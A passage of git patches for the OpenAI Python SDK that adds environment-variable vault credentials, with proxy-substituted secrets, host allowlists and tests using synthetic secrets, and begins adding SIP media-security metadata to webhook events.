+ - unrestricted
+ default: unrestricted
+ x-stainless-const: true
+ description: The type of the object. Always `unrestricted`.
+ required:
+ - type
+ additionalProperties: false
+ description: Allows substitution for destinations permitted by the environment network policy. Requires `environment.network.access` to be `restricted`, with explicit `allowed_domains`.
+ VaultCredentialNetworkingParamLimited:
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - limited
+ default: limited
+ x-stainless-const: true
+ description: The type of the object. Always `limited`.
+ allowed_hosts:
+ type: array
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 1
+ maxItems: 16
+ description: The 1 to 16 distinct allowed hostnames or IPv4 addresses, normalized to lowercase. Entries contain no scheme, path, port, or wildcard. IPv6 addresses are not supported.
+ required:
+ - type
+ - allowed_hosts
+ additionalProperties: false
+ description: Allows substitution only for the listed hosts. The environment network policy must also allow these hosts.
+ VaultCredentialNetworkingParam:
+ description: Destination permissions for an environment-variable credential. These do not grant network access to the environment.
+ discriminator:
+ propertyName: type
+ mapping:
+ unrestricted: '#/components/schemas/VaultCredentialNetworkingParamUnrestricted'
+ limited: '#/components/schemas/VaultCredentialNetworkingParamLimited'
+ x-oai-discriminator-values:
+ - unrestricted
+ - limited
+ anyOf:
+ - $ref: '#/components/schemas/VaultCredentialNetworkingParamUnrestricted'
+ - $ref: '#/components/schemas/VaultCredentialNetworkingParamLimited'
+ CreateVaultCredentialAuthParamEnvironmentVariable:
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - environment_variable
+ default: environment_variable
+ x-stainless-const: true
+ description: The type of the object. Always `environment_variable`.
+ secret_name:
+ type: string
+ minLength: 1
+ maxLength: 1048576
+ description: The environment variable name that receives the placeholder, such as `SERVICE_API_KEY`. Use ASCII letters, digits, and underscores, starting with a letter or underscore. Names starting with `CODEX_` and managed proxy or certificate variable names are reserved.
+ secret_value:
+ type: string
+ minLength: 1
+ maxLength: 1048576
+ description: The write-only secret to store. Never returned in credential resources or supplied directly to sandbox code. Must be nonempty and must not contain carriage returns, newlines, or NUL bytes.
+ networking:
+ $ref: '#/components/schemas/VaultCredentialNetworkingParam'
+ description: The destinations where the proxy can substitute this secret. The environment network policy must also allow them.
+ required:
+ - type
+ - secret_name
+ - secret_value
+ - networking
+ additionalProperties: false
+ description: An HTTP credential for OpenAI-hosted environments only. The sandbox receives an environment variable containing a placeholder, not the secret. Use the placeholder unchanged in outgoing requests. The egress proxy replaces the placeholder with the secret for allowed HTTPS destinations on ports 443 and 8443. Sandbox code cannot read the real secret or use it for local computation, such as signing a request.
CreateVaultCredentialAuthParam:
- description: Authentication credentials for an MCP server used by agent tools.
+ description: Authentication credentials for an MCP server or an OpenAI-hosted environment.
discriminator:
propertyName: type
mapping:
mcp_oauth: '#/components/schemas/CreateVaultCredentialAuthParamMcpOauth'
static_bearer: '#/components/schemas/CreateVaultCredentialAuthParamStaticBearer'
+ environment_variable: '#/components/schemas/CreateVaultCredentialAuthParamEnvironmentVariable'
x-oai-discriminator-values:
- mcp_oauth
- static_bearer
+ - environment_variable
anyOf:
- $ref: '#/components/schemas/CreateVaultCredentialAuthParamMcpOauth'
- $ref: '#/components/schemas/CreateVaultCredentialAuthParamStaticBearer'
+ - $ref: '#/components/schemas/CreateVaultCredentialAuthParamEnvironmentVariable'
CreateVaultCredentialParams:
type: object
properties:
@@ -80542,12 +80702,12 @@ components:
description: The name is trimmed before storage. It must contain 1 to 256 UTF-8 bytes after trimming.
auth:
$ref: '#/components/schemas/CreateVaultCredentialAuthParam'
- description: The authentication method and secret values to store for the MCP server.
+ description: The authentication method and write-only secret values to store.
required:
- auth
- name
additionalProperties: false
- description: Parameters for storing a credential that authorizes access to an MCP server.
+ description: Parameters for storing a credential for an MCP server or an OpenAI-hosted environment.
RotateMcpOauthTokenEndpointAuthParamClientSecretBasic:
type: object
properties:
@@ -80680,19 +80840,42 @@ components:
- token
additionalProperties: false
description: Replace the bearer token for the credential's MCP server.
+ RotateVaultCredentialAuthParamEnvironmentVariable:
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - environment_variable
+ default: environment_variable
+ x-stainless-const: true
+ description: The type of the object. Always `environment_variable`.
+ secret_value:
+ type: string
+ minLength: 1
+ maxLength: 1048576
+ description: The write-only replacement secret. Never returned in credential resources or supplied directly to sandbox code. Must be nonempty and must not contain carriage returns, newlines, or NUL bytes.
+ required:
+ - type
+ - secret_value
+ additionalProperties: false
+ description: Replace the secret for an OpenAI-hosted environment credential. The environment variable name and networking configuration remain unchanged.
RotateVaultCredentialAuthParam:
- description: Updates to a vault credential without changing its authentication method or MCP server.
+ description: Updates to a vault credential without changing its authentication method or destination configuration.
discriminator:
propertyName: type
mapping:
mcp_oauth: '#/components/schemas/RotateVaultCredentialAuthParamMcpOauth'
static_bearer: '#/components/schemas/RotateVaultCredentialAuthParamStaticBearer'
+ environment_variable: '#/components/schemas/RotateVaultCredentialAuthParamEnvironmentVariable'
x-oai-discriminator-values:
- mcp_oauth
- static_bearer
+ - environment_variable
anyOf:
- $ref: '#/components/schemas/RotateVaultCredentialAuthParamMcpOauth'
- $ref: '#/components/schemas/RotateVaultCredentialAuthParamStaticBearer'
+ - $ref: '#/components/schemas/RotateVaultCredentialAuthParamEnvironmentVariable'
RotateVaultCredentialParams:
type: object
properties:
diff --git a/src/openai/resources/beta/agents/vaults/credentials.py b/src/openai/resources/beta/agents/vaults/credentials.py
index d78233f6b5..44845670a2 100644
--- a/src/openai/resources/beta/agents/vaults/credentials.py
+++ b/src/openai/resources/beta/agents/vaults/credentials.py
@@ -69,7 +69,7 @@ def create(
[vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
Args:
- auth: The authentication method and secret values to store for the MCP server.
+ auth: The authentication method and write-only secret values to store.
name: The name is trimmed before storage. It must contain 1 to 256 UTF-8 bytes after
trimming.
@@ -352,7 +352,7 @@ async def create(
[vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
Args:
- auth: The authentication method and secret values to store for the MCP server.
+ auth: The authentication method and write-only secret values to store.
name: The name is trimmed before storage. It must contain 1 to 256 UTF-8 bytes after
trimming.
diff --git a/src/openai/types/beta/agents/vault.py b/src/openai/types/beta/agents/vault.py
index c686b39011..da4ab9fc6f 100644
--- a/src/openai/types/beta/agents/vault.py
+++ b/src/openai/types/beta/agents/vault.py
@@ -9,9 +9,7 @@
class Vault(BaseModel):
- """
- A collection of credentials that agent tools can use to authenticate to MCP servers.
- """
+ """A collection of credentials for MCP servers and OpenAI-hosted environments."""
id: str
"""The ID of the vault."""
diff --git a/src/openai/types/beta/agents/vaults/__init__.py b/src/openai/types/beta/agents/vaults/__init__.py
index 2d341ef813..056a55eab5 100644
--- a/src/openai/types/beta/agents/vaults/__init__.py
+++ b/src/openai/types/beta/agents/vaults/__init__.py
@@ -5,9 +5,11 @@
from .credential import Credential as Credential
from .credential_auth import CredentialAuth as CredentialAuth
from .credential_deleted import CredentialDeleted as CredentialDeleted
+from .credential_networking import CredentialNetworking as CredentialNetworking
from .credential_list_params import CredentialListParams as CredentialListParams
from .credential_create_params import CredentialCreateParams as CredentialCreateParams
from .credential_update_params import CredentialUpdateParams as CredentialUpdateParams
+from .credential_networking_param import CredentialNetworkingParam as CredentialNetworkingParam
from .credential_auth_create_param import CredentialAuthCreateParam as CredentialAuthCreateParam
from .credential_auth_rotate_param import CredentialAuthRotateParam as CredentialAuthRotateParam
from .mcp_oauth_token_endpoint_auth import McpOauthTokenEndpointAuth as McpOauthTokenEndpointAuth
diff --git a/src/openai/types/beta/agents/vaults/credential.py b/src/openai/types/beta/agents/vaults/credential.py
index 38d425ae9a..fae1e7e1fe 100644
--- a/src/openai/types/beta/agents/vaults/credential.py
+++ b/src/openai/types/beta/agents/vaults/credential.py
@@ -9,13 +9,13 @@
class Credential(BaseModel):
- """Metadata for a stored MCP server credential. Secret values are never returned."""
+ """Metadata for a stored credential. Secret values are never returned."""
id: str
"""The ID of the credential."""
auth: CredentialAuth
- """The authentication method and non-secret configuration for the MCP server."""
+ """The authentication method and non-secret configuration of the credential."""
created_at: int
"""The Unix timestamp, in seconds, when the credential was created."""
diff --git a/src/openai/types/beta/agents/vaults/credential_auth.py b/src/openai/types/beta/agents/vaults/credential_auth.py
index 84ce5095da..2ee2f1263e 100644
--- a/src/openai/types/beta/agents/vaults/credential_auth.py
+++ b/src/openai/types/beta/agents/vaults/credential_auth.py
@@ -5,6 +5,7 @@
from ....._utils import PropertyInfo
from ....._models import BaseModel
+from .credential_networking import CredentialNetworking
from .mcp_oauth_token_endpoint_auth import McpOauthTokenEndpointAuth
__all__ = [
@@ -12,6 +13,7 @@
"VaultCredentialAuthResourceMcpOauth",
"VaultCredentialAuthResourceMcpOauthRefresh",
"VaultCredentialAuthResourceStaticBearer",
+ "VaultCredentialAuthResourceEnvironmentVariable",
]
@@ -67,7 +69,30 @@ class VaultCredentialAuthResourceStaticBearer(BaseModel):
"""The type of the object. Always `static_bearer`."""
+class VaultCredentialAuthResourceEnvironmentVariable(BaseModel):
+ """Metadata for an HTTP credential used only in OpenAI-hosted environments.
+
+ Sandbox code receives a placeholder. The proxy substitutes the secret for allowed HTTPS destinations on ports 443 and 8443. The real secret is not available to sandbox code for local computation and is never returned in this resource.
+ """
+
+ networking: CredentialNetworking
+ """
+ The destinations where the proxy can substitute the secret, subject to the
+ environment network policy.
+ """
+
+ secret_name: str
+ """The environment variable name that receives the placeholder in the sandbox."""
+
+ type: Literal["environment_variable"]
+ """The type of the object. Always `environment_variable`."""
+
+
CredentialAuth: TypeAlias = Annotated[
- Union[VaultCredentialAuthResourceMcpOauth, VaultCredentialAuthResourceStaticBearer],
+ Union[
+ VaultCredentialAuthResourceMcpOauth,
+ VaultCredentialAuthResourceStaticBearer,
+ VaultCredentialAuthResourceEnvironmentVariable,
+ ],
PropertyInfo(discriminator="type"),
]
diff --git a/src/openai/types/beta/agents/vaults/credential_auth_create_param.py b/src/openai/types/beta/agents/vaults/credential_auth_create_param.py
index 98f54f4ac1..5b0497cfb1 100644
--- a/src/openai/types/beta/agents/vaults/credential_auth_create_param.py
+++ b/src/openai/types/beta/agents/vaults/credential_auth_create_param.py
@@ -5,6 +5,7 @@
from typing import Union, Optional
from typing_extensions import Literal, Required, TypeAlias, TypedDict
+from .credential_networking_param import CredentialNetworkingParam
from .mcp_oauth_token_endpoint_auth_create_param import McpOauthTokenEndpointAuthCreateParam
__all__ = [
@@ -12,6 +13,7 @@
"CreateVaultCredentialAuthParamMcpOauth",
"CreateVaultCredentialAuthParamMcpOauthRefresh",
"CreateVaultCredentialAuthParamStaticBearer",
+ "CreateVaultCredentialAuthParamEnvironmentVariable",
]
@@ -81,6 +83,39 @@ class CreateVaultCredentialAuthParamStaticBearer(TypedDict, total=False):
"""The type of the object. Always `static_bearer`."""
+class CreateVaultCredentialAuthParamEnvironmentVariable(TypedDict, total=False):
+ """An HTTP credential for OpenAI-hosted environments only.
+
+ The sandbox receives an environment variable containing a placeholder, not the secret. Use the placeholder unchanged in outgoing requests. The egress proxy replaces the placeholder with the secret for allowed HTTPS destinations on ports 443 and 8443. Sandbox code cannot read the real secret or use it for local computation, such as signing a request.
+ """
+
+ networking: Required[CredentialNetworkingParam]
+ """The destinations where the proxy can substitute this secret.
+
+ The environment network policy must also allow them.
+ """
+
+ secret_name: Required[str]
+ """
+ The environment variable name that receives the placeholder, such as
+ `SERVICE_API_KEY`. Use ASCII letters, digits, and underscores, starting with a
+ letter or underscore. Names starting with `CODEX_` and managed proxy or
+ certificate variable names are reserved.
+ """
+
+ secret_value: Required[str]
+ """The write-only secret to store.
+
+ Never returned in credential resources or supplied directly to sandbox code.
+ Must be nonempty and must not contain carriage returns, newlines, or NUL bytes.
+ """
+
+ type: Required[Literal["environment_variable"]]
+ """The type of the object. Always `environment_variable`."""
+
+
CredentialAuthCreateParam: TypeAlias = Union[
- CreateVaultCredentialAuthParamMcpOauth, CreateVaultCredentialAuthParamStaticBearer
+ CreateVaultCredentialAuthParamMcpOauth,
+ CreateVaultCredentialAuthParamStaticBearer,
+ CreateVaultCredentialAuthParamEnvironmentVariable,
]
diff --git a/src/openai/types/beta/agents/vaults/credential_auth_rotate_param.py b/src/openai/types/beta/agents/vaults/credential_auth_rotate_param.py
index 171dd7d9a4..16e02eaf11 100644
--- a/src/openai/types/beta/agents/vaults/credential_auth_rotate_param.py
+++ b/src/openai/types/beta/agents/vaults/credential_auth_rotate_param.py
@@ -12,6 +12,7 @@
"RotateVaultCredentialAuthParamMcpOauth",
"RotateVaultCredentialAuthParamMcpOauthRefresh",
"RotateVaultCredentialAuthParamStaticBearer",
+ "RotateVaultCredentialAuthParamEnvironmentVariable",
]
@@ -68,6 +69,25 @@ class RotateVaultCredentialAuthParamStaticBearer(TypedDict, total=False):
"""The type of the object. Always `static_bearer`."""
+class RotateVaultCredentialAuthParamEnvironmentVariable(TypedDict, total=False):
+ """Replace the secret for an OpenAI-hosted environment credential.
+
+ The environment variable name and networking configuration remain unchanged.
+ """
+
+ secret_value: Required[str]
+ """The write-only replacement secret.
+
+ Never returned in credential resources or supplied directly to sandbox code.
+ Must be nonempty and must not contain carriage returns, newlines, or NUL bytes.
+ """
+
+ type: Required[Literal["environment_variable"]]
+ """The type of the object. Always `environment_variable`."""
+
+
CredentialAuthRotateParam: TypeAlias = Union[
- RotateVaultCredentialAuthParamMcpOauth, RotateVaultCredentialAuthParamStaticBearer
+ RotateVaultCredentialAuthParamMcpOauth,
+ RotateVaultCredentialAuthParamStaticBearer,
+ RotateVaultCredentialAuthParamEnvironmentVariable,
]
diff --git a/src/openai/types/beta/agents/vaults/credential_create_params.py b/src/openai/types/beta/agents/vaults/credential_create_params.py
index 3a5816f0ec..8b411f89d0 100644
--- a/src/openai/types/beta/agents/vaults/credential_create_params.py
+++ b/src/openai/types/beta/agents/vaults/credential_create_params.py
@@ -11,7 +11,7 @@
class CredentialCreateParams(TypedDict, total=False):
auth: Required[CredentialAuthCreateParam]
- """The authentication method and secret values to store for the MCP server."""
+ """The authentication method and write-only secret values to store."""
name: Required[str]
"""The name is trimmed before storage.
diff --git a/src/openai/types/beta/agents/vaults/credential_networking.py b/src/openai/types/beta/agents/vaults/credential_networking.py
new file mode 100644
index 0000000000..d3e7576f46
--- /dev/null
+++ b/src/openai/types/beta/agents/vaults/credential_networking.py
@@ -0,0 +1,46 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ....._utils import PropertyInfo
+from ....._models import BaseModel
+
+__all__ = [
+ "CredentialNetworking",
+ "VaultCredentialNetworkingResourceUnrestricted",
+ "VaultCredentialNetworkingResourceLimited",
+]
+
+
+class VaultCredentialNetworkingResourceUnrestricted(BaseModel):
+ """Allows substitution for destinations permitted by the environment network policy.
+
+ Requires `environment.network.access` to be `restricted`, with explicit `allowed_domains`.
+ """
+
+ type: Literal["unrestricted"]
+ """The type of the object. Always `unrestricted`."""
+
+
+class VaultCredentialNetworkingResourceLimited(BaseModel):
+ """Allows substitution only for the listed hosts.
+
+ The environment network policy must also allow these hosts.
+ """
+
+ allowed_hosts: List[str]
+ """
+ The 1 to 16 distinct allowed hostnames or IPv4 addresses, normalized to
+ lowercase. Entries contain no scheme, path, port, or wildcard. IPv6 addresses
+ are not supported.
+ """
+
+ type: Literal["limited"]
+ """The type of the object. Always `limited`."""
+
+
+CredentialNetworking: TypeAlias = Annotated[
+ Union[VaultCredentialNetworkingResourceUnrestricted, VaultCredentialNetworkingResourceLimited],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/beta/agents/vaults/credential_networking_param.py b/src/openai/types/beta/agents/vaults/credential_networking_param.py
new file mode 100644
index 0000000000..55a537a66a
--- /dev/null
+++ b/src/openai/types/beta/agents/vaults/credential_networking_param.py
@@ -0,0 +1,46 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from ....._types import SequenceNotStr
+
+__all__ = [
+ "CredentialNetworkingParam",
+ "VaultCredentialNetworkingParamUnrestricted",
+ "VaultCredentialNetworkingParamLimited",
+]
+
+
+class VaultCredentialNetworkingParamUnrestricted(TypedDict, total=False):
+ """Allows substitution for destinations permitted by the environment network policy.
+
+ Requires `environment.network.access` to be `restricted`, with explicit `allowed_domains`.
+ """
+
+ type: Required[Literal["unrestricted"]]
+ """The type of the object. Always `unrestricted`."""
+
+
+class VaultCredentialNetworkingParamLimited(TypedDict, total=False):
+ """Allows substitution only for the listed hosts.
+
+ The environment network policy must also allow these hosts.
+ """
+
+ allowed_hosts: Required[SequenceNotStr[str]]
+ """
+ The 1 to 16 distinct allowed hostnames or IPv4 addresses, normalized to
+ lowercase. Entries contain no scheme, path, port, or wildcard. IPv6 addresses
+ are not supported.
+ """
+
+ type: Required[Literal["limited"]]
+ """The type of the object. Always `limited`."""
+
+
+CredentialNetworkingParam: TypeAlias = Union[
+ VaultCredentialNetworkingParamUnrestricted, VaultCredentialNetworkingParamLimited
+]
diff --git a/tests/test_environment_credentials.py b/tests/test_environment_credentials.py
new file mode 100644
index 0000000000..bc41133640
--- /dev/null
+++ b/tests/test_environment_credentials.py
@@ -0,0 +1,221 @@
+from __future__ import annotations
+
+import json
+import logging
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from openai._compat import get_model_fields
+from openai.types.beta.agents.vaults import Credential, CredentialNetworkingParam
+from openai.types.beta.agents.vaults.credential_auth import VaultCredentialAuthResourceEnvironmentVariable
+from openai.types.beta.agents.vaults.credential_auth_create_param import (
+ CredentialAuthCreateParam,
+ CreateVaultCredentialAuthParamEnvironmentVariable,
+)
+from openai.types.beta.agents.vaults.credential_auth_rotate_param import (
+ RotateVaultCredentialAuthParamEnvironmentVariable,
+)
+
+BASE_URL = "https://sdk-tests.example.invalid/v1"
+SECRET = "synthetic-environment-credential-secret"
+ROTATED_SECRET = "synthetic-rotated-environment-credential-secret"
+
+
+def credential_response(auth: object) -> dict[str, object]:
+ return {
+ "id": "credential_synthetic",
+ "vault_id": "vault_synthetic",
+ "object": "vault.credential",
+ "name": "Synthetic credential",
+ "created_at": 1,
+ "updated_at": 1,
+ "auth": auth,
+ }
+
+
+def assert_environment_metadata(credential: Credential, networking: CredentialNetworkingParam) -> None:
+ assert isinstance(credential.auth, VaultCredentialAuthResourceEnvironmentVariable)
+ assert credential.auth.to_dict() == {
+ "type": "environment_variable",
+ "secret_name": "SYNTHETIC_SERVICE_KEY",
+ "networking": networking,
+ }
+ assert "secret_value" not in get_model_fields(type(credential.auth))
+ assert SECRET not in repr(credential)
+ assert ROTATED_SECRET not in credential.to_json()
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("strict", [False, True])
+@pytest.mark.parametrize(
+ "networking",
+ [
+ {"type": "limited", "allowed_hosts": ["destination.example.test", "192.0.2.1"]},
+ {"type": "unrestricted"},
+ ],
+)
+async def test_environment_credential_create(
+ mode: str, strict: bool, networking: CredentialNetworkingParam, caplog: pytest.LogCaptureFixture
+) -> None:
+ auth: CreateVaultCredentialAuthParamEnvironmentVariable = {
+ "type": "environment_variable",
+ "secret_name": "SYNTHETIC_SERVICE_KEY",
+ "secret_value": SECRET,
+ "networking": networking,
+ }
+ requests: list[httpx2.Request] = []
+
+ def respond(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ assert request.method == "POST"
+ assert str(request.url) == BASE_URL + "/vaults/vault_synthetic/credentials"
+ assert json.loads(request.content) == {"auth": auth, "name": "Synthetic credential"}
+ return httpx2.Response(
+ 200,
+ json=credential_response(
+ {"type": "environment_variable", "secret_name": "SYNTHETIC_SERVICE_KEY", "networking": networking}
+ ),
+ )
+
+ with caplog.at_level(logging.DEBUG, logger="openai._base_client"):
+ if mode == "sync":
+ with OpenAI(
+ api_key="synthetic-api-key",
+ organization="synthetic-organization",
+ project="synthetic-project",
+ base_url=BASE_URL,
+ max_retries=0,
+ _strict_response_validation=strict,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(respond), trust_env=False),
+ ) as client:
+ credential = client.beta.agents.vaults.credentials.create(
+ "vault_synthetic", auth=auth, name="Synthetic credential"
+ )
+ else:
+ async with AsyncOpenAI(
+ api_key="synthetic-api-key",
+ organization="synthetic-organization",
+ project="synthetic-project",
+ base_url=BASE_URL,
+ max_retries=0,
+ _strict_response_validation=strict,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(respond), trust_env=False),
+ ) as async_client:
+ credential = await async_client.beta.agents.vaults.credentials.create(
+ "vault_synthetic", auth=auth, name="Synthetic credential"
+ )
+
+ assert len(requests) == 1
+ assert_environment_metadata(credential, networking)
+ assert SECRET not in caplog.text
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("strict", [False, True])
+async def test_environment_credential_rotation(mode: str, strict: bool, caplog: pytest.LogCaptureFixture) -> None:
+ auth: RotateVaultCredentialAuthParamEnvironmentVariable = {
+ "type": "environment_variable",
+ "secret_value": ROTATED_SECRET,
+ }
+ networking: CredentialNetworkingParam = {"type": "limited", "allowed_hosts": ["destination.example.test"]}
+ requests: list[httpx2.Request] = []
+
+ def respond(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ assert request.method == "POST"
+ assert str(request.url) == BASE_URL + "/vaults/vault_synthetic/credentials/credential_synthetic"
+ assert json.loads(request.content) == {"auth": auth}
+ return httpx2.Response(
+ 200,
+ json=credential_response(
+ {"type": "environment_variable", "secret_name": "SYNTHETIC_SERVICE_KEY", "networking": networking}
+ ),
+ )
+
+ with caplog.at_level(logging.DEBUG, logger="openai._base_client"):
+ if mode == "sync":
+ with OpenAI(
+ api_key="synthetic-api-key",
+ organization="synthetic-organization",
+ project="synthetic-project",
+ base_url=BASE_URL,
+ max_retries=0,
+ _strict_response_validation=strict,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(respond), trust_env=False),
+ ) as client:
+ credential = client.beta.agents.vaults.credentials.update(
+ "credential_synthetic", vault_id="vault_synthetic", auth=auth
+ )
+ else:
+ async with AsyncOpenAI(
+ api_key="synthetic-api-key",
+ organization="synthetic-organization",
+ project="synthetic-project",
+ base_url=BASE_URL,
+ max_retries=0,
+ _strict_response_validation=strict,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(respond), trust_env=False),
+ ) as async_client:
+ credential = await async_client.beta.agents.vaults.credentials.update(
+ "credential_synthetic", vault_id="vault_synthetic", auth=auth
+ )
+
+ assert len(requests) == 1
+ assert_environment_metadata(credential, networking)
+ assert ROTATED_SECRET not in caplog.text
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize(
+ ("auth", "response_auth"),
+ [
+ (
+ {"type": "static_bearer", "token": SECRET, "mcp_server_url": "https://mcp.example.test"},
+ {"type": "static_bearer", "mcp_server_url": "https://mcp.example.test"},
+ ),
+ (
+ {"type": "mcp_oauth", "access_token": SECRET, "mcp_server_url": "https://mcp.example.test"},
+ {"type": "mcp_oauth", "mcp_server_url": "https://mcp.example.test"},
+ ),
+ ],
+)
+async def test_existing_credential_auth_variants(
+ mode: str, auth: CredentialAuthCreateParam, response_auth: dict[str, str]
+) -> None:
+ requests: list[httpx2.Request] = []
+
+ def respond(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ assert request.method == "POST"
+ assert str(request.url) == BASE_URL + "/vaults/vault_synthetic/credentials"
+ assert json.loads(request.content) == {"auth": auth, "name": "Synthetic credential"}
+ return httpx2.Response(200, json=credential_response(response_auth))
+
+ if mode == "sync":
+ with OpenAI(
+ api_key="synthetic-api-key",
+ base_url=BASE_URL,
+ max_retries=0,
+ _strict_response_validation=True,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(respond), trust_env=False),
+ ) as client:
+ credential = client.beta.agents.vaults.credentials.create(
+ "vault_synthetic", auth=auth, name="Synthetic credential"
+ )
+ else:
+ async with AsyncOpenAI(
+ api_key="synthetic-api-key",
+ base_url=BASE_URL,
+ max_retries=0,
+ _strict_response_validation=True,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(respond), trust_env=False),
+ ) as async_client:
+ credential = await async_client.beta.agents.vaults.credentials.create(
+ "vault_synthetic", auth=auth, name="Synthetic credential"
+ )
+
+ assert len(requests) == 1
+ assert credential.auth.type == response_auth["type"]
+ assert not isinstance(credential.auth, VaultCredentialAuthResourceEnvironmentVariable)
From c377eb21f03efb223180730d6da61f9e8d500063 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Sat, 19 Sep 2026 09:30:59 +0000
Subject: [PATCH 176/341] feat(api): add SIP media security to incoming call
events (#3907)
## Summary
Expose optional SIP media-security metadata in incoming webhook event
data.
## Changes
- Read `sip_media_security` on incoming live-call, live-transport, and
realtime-call events.
- Accept `rtp`, `srtp`, and future string values while allowing the
field to be omitted.
- Document that this describes negotiated SIP-leg media protection, not
signaling security or proof that media has flowed.
---
.castiron.stats.yml | 12 ++--
api_reference/openapi.transformed.yml | 39 ++++++++++++
.../live_call_incoming_webhook_event.py | 10 +++-
.../live_transport_incoming_webhook_event.py | 10 +++-
.../realtime_call_incoming_webhook_event.py | 10 +++-
tests/lib/test_webhooks.py | 59 +++++++++++++++++++
6 files changed, 131 insertions(+), 9 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 9b30c745c8..fa142034d6 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 999bfeb9-5230-48a0-bb37-7fda4c6a9d60
-openapi_spec_hash: 2602d95e0a5d8c97a2adcc0241ad18b4
-openapi_transformed_spec_hash: 0f43a58f72b945bc4cf2f9353ec770bd
+generation_id: 4e2c0a68-f552-4057-9398-0656631a643d
+openapi_spec_hash: b81e20e8186e5f45afc36ecb4ceb3b33
+openapi_transformed_spec_hash: 73682ea454f2f3c2bde8466c223eb434
config_hash: ba291299a0f8e738664099a7d7741f24
-codegen_sha: c0ce7b2be18628adff038964ffd3c027db575eb0
-codegen_hash: 0c71388af2732fb819dc2b0c12c35600c1dbaf7c6133e7d8fe79f06ed2e8103e
-public_codegen_sha: 1d43deb7fa7cb4c3bb388ed97e0b7873bfc5e5a0
+codegen_sha: 91a42dc9d1a7ce0aae0e5202636b0e6470190813
+codegen_hash: ee7a457167dd360a7d59f207be427c7c12db2bae58ac9967fbf8a46b2757cf9a
+public_codegen_sha: 367700a19c7975b8e616abcd58e1b7c1a574b106
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 5954647a35..20c0c7e496 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -65610,6 +65610,18 @@ components:
The `live_...` ID of the pending SIP session. Pass this value unchanged
to Live call controls and sideband connections. The corresponding
`realtime.call.incoming` event uses a separate `rtc_...` call ID.
+ sip_media_security:
+ description: |
+ Media protection selected on the SIP leg during SDP negotiation. `srtp`
+ indicates SRTP; `rtp` indicates unencrypted RTP. Omitted when unknown.
+ This does not describe SIP signaling security or confirm that media has
+ flowed. Clients should handle unrecognized values as unknown.
+ anyOf:
+ - type: string
+ enum:
+ - rtp
+ - srtp
+ - type: string
sip_headers:
type: array
description: |
@@ -65656,6 +65668,7 @@ components:
"created_at": 1719168000,
"data": {
"session_id": "live_u0_479a275623b54bdb9b6fbae2f7cbd408",
+ "sip_media_security": "srtp",
"sip_headers": [
{"name": "From", "value": ";tag=abc123"},
{"name": "To", "value": ""},
@@ -65705,6 +65718,18 @@ components:
description: |
The `live_...` ID of the pending SIP session. Forward this value
unchanged when accepting or rejecting the call through the Live API.
+ sip_media_security:
+ description: |
+ Media protection selected on the SIP leg during SDP negotiation. `srtp`
+ indicates SRTP; `rtp` indicates unencrypted RTP. Omitted when unknown.
+ This does not describe SIP signaling security or confirm that media has
+ flowed. Clients should handle unrecognized values as unknown.
+ anyOf:
+ - type: string
+ enum:
+ - rtp
+ - srtp
+ - type: string
sip_headers:
type: array
description: |
@@ -65752,6 +65777,7 @@ components:
"data": {
"type": "sip",
"session_id": "live_u0_479a275623b54bdb9b6fbae2f7cbd408",
+ "sip_media_security": "srtp",
"sip_headers": [
{"name": "From", "value": ";tag=abc123"},
{"name": "To", "value": ""},
@@ -65795,6 +65821,18 @@ components:
The ID of the pending SIP call. Pass this value unchanged when
accepting or rejecting the call through the Realtime API. For the
Live API, use the `session_id` from `live.transport.incoming` instead.
+ sip_media_security:
+ description: |
+ Media protection selected on the SIP leg during SDP negotiation. `srtp`
+ indicates SRTP; `rtp` indicates unencrypted RTP. Omitted when unknown.
+ This does not describe SIP signaling security or confirm that media has
+ flowed. Clients should handle unrecognized values as unknown.
+ anyOf:
+ - type: string
+ enum:
+ - rtp
+ - srtp
+ - type: string
sip_headers:
type: array
description: |
@@ -65841,6 +65879,7 @@ components:
"created_at": 1719168000,
"data": {
"call_id": "rtc_u0_479a275623b54bdb9b6fbae2f7cbd408",
+ "sip_media_security": "srtp",
"sip_headers": [
{"name": "Max-Forwards", "value": "63"},
{"name": "CSeq", "value": "851287 INVITE"},
diff --git a/src/openai/types/webhooks/live_call_incoming_webhook_event.py b/src/openai/types/webhooks/live_call_incoming_webhook_event.py
index 98bbc226fb..2caba71d3e 100644
--- a/src/openai/types/webhooks/live_call_incoming_webhook_event.py
+++ b/src/openai/types/webhooks/live_call_incoming_webhook_event.py
@@ -1,6 +1,6 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from typing import List, Optional
+from typing import List, Union, Optional
